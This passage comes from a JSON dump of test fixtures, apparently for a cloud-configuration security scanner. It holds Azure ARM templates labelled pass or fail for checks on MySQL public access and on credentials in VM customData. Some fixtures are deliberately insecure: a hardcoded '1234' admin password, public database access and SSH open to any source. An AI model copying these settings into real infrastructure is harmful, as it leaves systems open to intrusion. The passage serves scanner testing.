    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforMySQL/flexibleServers\",\n      \"apiVersion\": \"2024-10-01-preview\",\n      \"name\": \"fail2\",\n      \"identity\": {\n        \"type\": \"UserAssigned\",\n        \"userAssignedIdentities\": {\n          \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myIdentity\": {}\n        }\n      },\n      \"location\": \"eastus\",\n      \"properties\": {\n        \"administratorLogin\": \"adminuser\",\n        \"administratorLoginPassword\": \"1234\",\n        \"availabilityZone\": \"1\",\n        \"backup\": {\n          \"backupIntervalHours\": 24,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Disabled\"\n        },\n        \"createMode\": \"Default\",\n        \"databasePort\": 3306,\n        \"dataEncryption\": {\n          \"type\": \"SystemManaged\"\n        },\n        \"highAvailability\": {\n          \"mode\": \"ZoneRedundant\",\n          \"standbyAvailabilityZone\": \"2\"\n        },\n        \"maintenancePolicy\": {\n          \"patchStrategy\": \"Automatic\"\n        },\n        \"maintenanceWindow\": {\n          \"customWindow\": \"Sun:02:00-Sun:04:00\",\n          \"dayOfWeek\": 0,\n          \"startHour\": 2,\n          \"startMinute\": 0\n        },\n        \"network\": {\n          \"delegatedSubnetResourceId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet\",\n          \"privateDnsZoneResourceId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/privateDnsZones/myPrivateDnsZone\",\n          \"publicNetworkAccess\": \"Enabled\"\n        },\n        \"storage\": {\n          \"autoGrow\": \"Enabled\",\n          \"iops\": 600,\n          \"storageSizeGB\": 128,\n          \"storageRedundancy\": \"Zone\"\n        },\n        \"version\": \"8.0\"\n      },\n      \"sku\": {\n        \"name\": \"Standard_D2ds_v4\",\n        \"tier\": \"GeneralPurpose\"\n      },\n      \"tags\": {\n        \"Environment\": \"Production\",\n        \"Project\": \"MySQLMigration\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\",\n            \"defaultValue\": true\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {\n                \"type\": \"AzureKeyVault\",\n                \"primaryUserAssignedIdentityId\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike\",\n                \"primaryKeyURI\": \"https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2\"\n            }\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n          \"type\": \"Microsoft.DBforMySQL/servers\",\n          \"apiVersion\": \"2017-12-01\",\n          \"name\": \"pass\",\n          \"location\": \"string\",\n          \"tags\": {\n            \"tagName1\": \"tagValue1\",\n            \"tagName2\": \"tagValue2\"\n          },\n            \"{customized property}\": \"string\",\n          \"sku\": {\n            \"capacity\": \"int\",\n            \"family\": \"string\",\n            \"name\": \"string\",\n            \"size\": \"string\",\n            \"tier\": \"string\"\n          },\n          \"identity\": {\n            \"type\": \"SystemAssigned\"\n          },\n          \"properties\": {\n            \"infrastructureEncryption\": \"string\",\n            \"minimalTlsVersion\": \"string\",\n            \"publicNetworkAccess\": \"disabled\",\n            \"sslEnforcement\": \"string\",\n            \"storageProfile\": {\n              \"backupRetentionDays\": \"int\",\n              \"geoRedundantBackup\": \"string\",\n              \"storageAutogrow\": \"string\",\n              \"storageMB\": \"int\"\n            },\n            \"version\": \"string\",\n            \"createMode\": \"string\"\n          }\n                },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforMySQL/flexibleServers\",\n      \"apiVersion\": \"2024-10-01-preview\",\n      \"name\": \"pass2\",\n      \"identity\": {\n        \"type\": \"UserAssigned\",\n        \"userAssignedIdentities\": {\n          \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myIdentity\": {}\n        }\n      },\n      \"location\": \"eastus\",\n      \"properties\": {\n        \"administratorLogin\": \"adminuser\",\n        \"administratorLoginPassword\": \"1234\",\n        \"availabilityZone\": \"1\",\n        \"backup\": {\n          \"backupIntervalHours\": 24,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Disabled\"\n        },\n        \"createMode\": \"Default\",\n        \"databasePort\": 3306,\n        \"dataEncryption\": {\n          \"type\": \"SystemManaged\"\n        },\n        \"highAvailability\": {\n          \"mode\": \"ZoneRedundant\",\n          \"standbyAvailabilityZone\": \"2\"\n        },\n        \"maintenancePolicy\": {\n          \"patchStrategy\": \"Automatic\"\n        },\n        \"maintenanceWindow\": {\n          \"customWindow\": \"Sun:02:00-Sun:04:00\",\n          \"dayOfWeek\": 0,\n          \"startHour\": 2,\n          \"startMinute\": 0\n        },\n        \"network\": {\n          \"delegatedSubnetResourceId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworks/myVNet/subnets/mySubnet\",\n          \"privateDnsZoneResourceId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/privateDnsZones/myPrivateDnsZone\",\n          \"publicNetworkAccess\": \"Disabled\"\n        },\n        \"storage\": {\n          \"autoGrow\": \"Enabled\",\n          \"iops\": 600,\n          \"storageSizeGB\": 128,\n          \"storageRedundancy\": \"Zone\"\n        },\n        \"version\": \"8.0\"\n      },\n      \"sku\": {\n        \"name\": \"Standard_D2ds_v4\",\n        \"tier\": \"GeneralPurpose\"\n      },\n      \"tags\": {\n        \"Environment\": \"Production\",\n        \"Project\": \"MySQLMigration\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMCredsInCustomData/fail-secret.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.22.6.54827\",\n      \"templateHash\": \"1864719808904770163\"\n    }\n  },\n  \"parameters\": {\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name for the Public IP used to access the Virtual Machine.\"\n      }\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"customData\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"echo customData\",\n      \"metadata\": {\n        \"description\": \"String passed down to the Virtual Machine.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2_v3\",\n      \"metadata\": {\n        \"description\": \"VM size\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"18.04-LTS\",\n      \"allowedValues\": [\n        \"14.04-LTS\",\n        \"16.04-LTS\",\n        \"18.04-LTS\",\n        \"20.04-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 14.04-LTS,16.04-LTS,18.04-LTS,20.04-LTS.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"authenticationType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"sshPublicKey\",\n      \"allowedValues\": [\n        \"sshPublicKey\",\n        \"password\"\n      ],\n      \"metadata\": {\n        \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[format('{0}sacustmdata', uniqueString(resourceGroup().id))]\",\n    \"imagePublisher\": \"Canonical\",\n    \"imageOffer\": \"UbuntuServer\",\n    \"nicName\": \"networkInterface1\",\n    \"vmName\": \"vm1\",\n    \"virtualNetworkName\": \"virtualNetwork1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnet1Name\": \"Subnet-1\",\n    \"subnet1Prefix\": \"10.0.0.0/24\",\n    \"publicIPAddressType\": \"Dynamic\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"linuxConfiguration\": {\n      \"disablePasswordAuthentication\": true,\n      \"ssh\": {\n        \"publicKeys\": [\n          {\n            \"path\": \"[format('/home/{0}/.ssh/authorized_keys', parameters('adminUsername'))]\",\n            \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n          }\n        ]\n      }\n    },\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2023-05-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-22\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"22\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2023-07-01\",\n      \"name\": \"fail-secret\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"customData\": \"<<EOF\\n0000-0000-0000-0000-000000000000\\nEOF\",\n          \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), null(), variables('linuxConfiguration'))]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"[variables('imagePublisher')]\",\n            \"offer\": \"[variables('imageOffer')]\",\n            \"sku\": \"[parameters('ubuntuOSVersion')]\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName')), '2023-01-01').primaryEndpoints.blob]\"\n          }\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\",\n        \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMCredsInCustomData/pass-empty-os-profile.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"minLength\": 1,\n            \"metadata\": {\n                \"description\": \"User name for the VM.\"\n            }\n        },\n        \"_artifactsLocation\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"The base URI where artifacts required by this template are located. When the template is deployed using the accompanying scripts, a private location in the subscription will be used and this value will be automatically generated.\"\n            },\n            \"defaultValue\": \"[deployment().properties.templateLink.uri]\"\n        },\n        \"_artifactsLocationSasToken\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"The sasToken required to access baseURL.  When the template is deployed using the accompanying scripts, a sasToken will be automatically generated.\"\n            },\n            \"defaultValue\": \"\"\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Location for all resources.\"\n            }\n        },\n        \"authenticationType\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"sshPublicKey\",\n            \"allowedValues\": [\n                \"sshPublicKey\",\n                \"password\"\n            ],\n            \"metadata\": {\n                \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n            }\n        },\n        \"adminPasswordOrKey\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n            }\n        }\n    },\n    \"variables\": {\n        \"vmName\": \"myVM\",\n        \"nicName\": \"[concat(variables('vmName'), '-nic')]\",\n        \"virtualNetworkName\": \"vnet-myVnet\",\n        \"subnetName\": \"default\",\n        \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n        \"updateip_templateUri\": \"[uri(parameters('_artifactsLocation'), concat('nested/update-nic.json', parameters('_artifactsLocationSasToken')))]\",\n        \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n                \"publicKeys\": [\n                    {\n                        \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                        \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n                    }\n                ]\n            }\n        },\n        \"networkSecurityGroupName\": \"default-NSG\"\n    },\n    \"resources\": [\n        {\n            \"comments\": \"Default Network Security Group for template\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2020-05-01\",\n            \"name\": \"[variables('networkSecurityGroupName')]\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": [\n                    {\n                        \"name\": \"default-allow-22\",\n                        \"properties\": {\n                            \"priority\": 1000,\n                            \"access\": \"Allow\",\n                            \"direction\": \"Inbound\",\n                            \"destinationPortRange\": \"22\",\n                            \"protocol\": \"TCP\",\n                            \"sourceAddressPrefix\": \"*\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationAddressPrefix\": \"*\"\n                        }\n                    }\n                ]\n            }\n        },\n        {\n            \"apiVersion\": \"2019-12-01\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"name\": \"pass-empty-os-profile\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"updateIp\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('vmSize')]\"\n                },\n                \"osProfile\": {\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"Canonical\",\n                        \"offer\": \"UbuntuServer\",\n                        \"sku\": \"18.04-LTS\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n                        }\n                    ]\n                }\n            }\n        }\n    ],\n    \"outputs\": {\n        \"privateIp\": {\n            \"type\": \"string\",\n            \"value\": \"[reference(variables('nicName')).ipConfigurations[0].properties.privateIPAddress]\"\n        }\n    }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMCredsInCustomData/pass-no-custom-date.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"minLength\": 1,\n            \"metadata\": {\n                \"description\": \"User name for the VM.\"\n            }\n        },\n        \"_artifactsLocation\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"The base URI where artifacts required by this template are located. When the template is deployed using the accompanying scripts, a private location in the subscription will be used and this value will be automatically generated.\"\n            },\n            \"defaultValue\": \"[deployment().properties.templateLink.uri]\"\n        },\n        \"_artifactsLocationSasToken\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"The sasToken required to access baseURL.  When the template is deployed using the accompanying scripts, a sasToken will be automatically generated.\"\n            },\n            \"defaultValue\": \"\"\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Location for all resources.\"\n            }\n        },\n        \"authenticationType\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"sshPublicKey\",\n            \"allowedValues\": [\n                \"sshPublicKey\",\n                \"password\"\n            ],\n            \"metadata\": {\n                \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n            }\n        },\n        \"adminPasswordOrKey\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n            }\n        }\n    },\n    \"variables\": {\n        \"vmName\": \"myVM\",\n        \"nicName\": \"[concat(variables('vmName'), '-nic')]\",\n        \"virtualNetworkName\": \"vnet-myVnet\",\n        \"subnetName\": \"default\",\n        \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n        \"updateip_templateUri\": \"[uri(parameters('_artifactsLocation'), concat('nested/update-nic.json', parameters('_artifactsLocationSasToken')))]\",\n        \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n                \"publicKeys\": [\n                    {\n                        \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                        \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n                    }\n                ]\n            }\n        },\n        \"networkSecurityGroupName\": \"default-NSG\"\n    },\n    \"resources\": [\n        {\n            \"comments\": \"Default Network Security Group for template\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2020-05-01\",\n            \"name\": \"[variables('networkSecurityGroupName')]\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": [\n                    {\n                        \"name\": \"default-allow-22\",\n                        \"properties\": {\n                            \"priority\": 1000,\n                            \"access\": \"Allow\",\n                            \"direction\": \"Inbound\",\n                            \"destinationPortRange\": \"22\",\n                            \"protocol\": \"TCP\",\n                            \"sourceAddressPrefix\": \"*\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationAddressPrefix\": \"*\"\n                        }\n                    }\n                ]\n            }\n        },\n        {\n            \"apiVersion\": \"2019-12-01\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"name\": \"pass-no-custom-date\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"updateIp\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('vmSize')]\"\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[variables('vmName')]\",\n                    \"adminUsername\": \"[parameters('adminUsername')]\",\n                    \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n                    \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"Canonical\",\n                        \"offer\": \"UbuntuServer\",\n                        \"sku\": \"18.04-LTS\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n                        }\n                    ]\n                }\n            }\n        }\n    ],\n    \"outputs\": {\n        \"privateIp\": {\n            \"type\": \"string\",\n            \"value\": \"[reference(variables('nicName')).ipConfigurations[0].properties.privateIPAddress]\"\n        }\n    }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMCredsInCustomData/pass-no-os-profile.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"minLength\": 1,\n            \"metadata\": {\n                \"description\": \"User name for the VM.\"\n            }\n        },\n        \"_artifactsLocation\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"The base URI where artifacts required by this template are located. When the template is deployed using the accompanying scripts, a private location in the subscription will be used and this value will be automatically generated.\"\n            },\n            \"defaultValue\": \"[deployment().properties.templateLink.uri]\"\n        },\n        \"_artifactsLocationSasToken\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"The sasToken required to access baseURL.  When the template is deployed using the accompanying scripts, a sasToken will be automatically generated.\"\n            },\n            \"defaultValue\": \"\"\n        },\n        \"location\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\",\n            \"metadata\": {\n                \"description\": \"Location for all resources.\"\n            }\n        },\n        \"authenticationType\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"sshPublicKey\",\n            \"allowedValues\": [\n                \"sshPublicKey\",\n                \"password\"\n            ],\n            \"metadata\": {\n                \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n            }\n        },\n        \"adminPasswordOrKey\": {\n            \"type\": \"securestring\",\n            \"metadata\": {\n                \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n            }\n        }\n    },\n    \"variables\": {\n        \"vmName\": \"myVM\",\n        \"nicName\": \"[concat(variables('vmName'), '-nic')]\",\n        \"virtualNetworkName\": \"vnet-myVnet\",\n        \"subnetName\": \"default\",\n        \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n        \"updateip_templateUri\": \"[uri(parameters('_artifactsLocation'), concat('nested/update-nic.json', parameters('_artifactsLocationSasToken')))]\",\n        \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n                \"publicKeys\": [\n                    {\n                        \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                        \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n                    }\n                ]\n            }\n        },\n        \"networkSecurityGroupName\": \"default-NSG\"\n    },\n    \"resources\": [\n        {\n            \"comments\": \"Default Network Security Group for template\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2020-05-01\",\n            \"name\": \"[variables('networkSecurityGroupName')]\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": [\n                    {\n     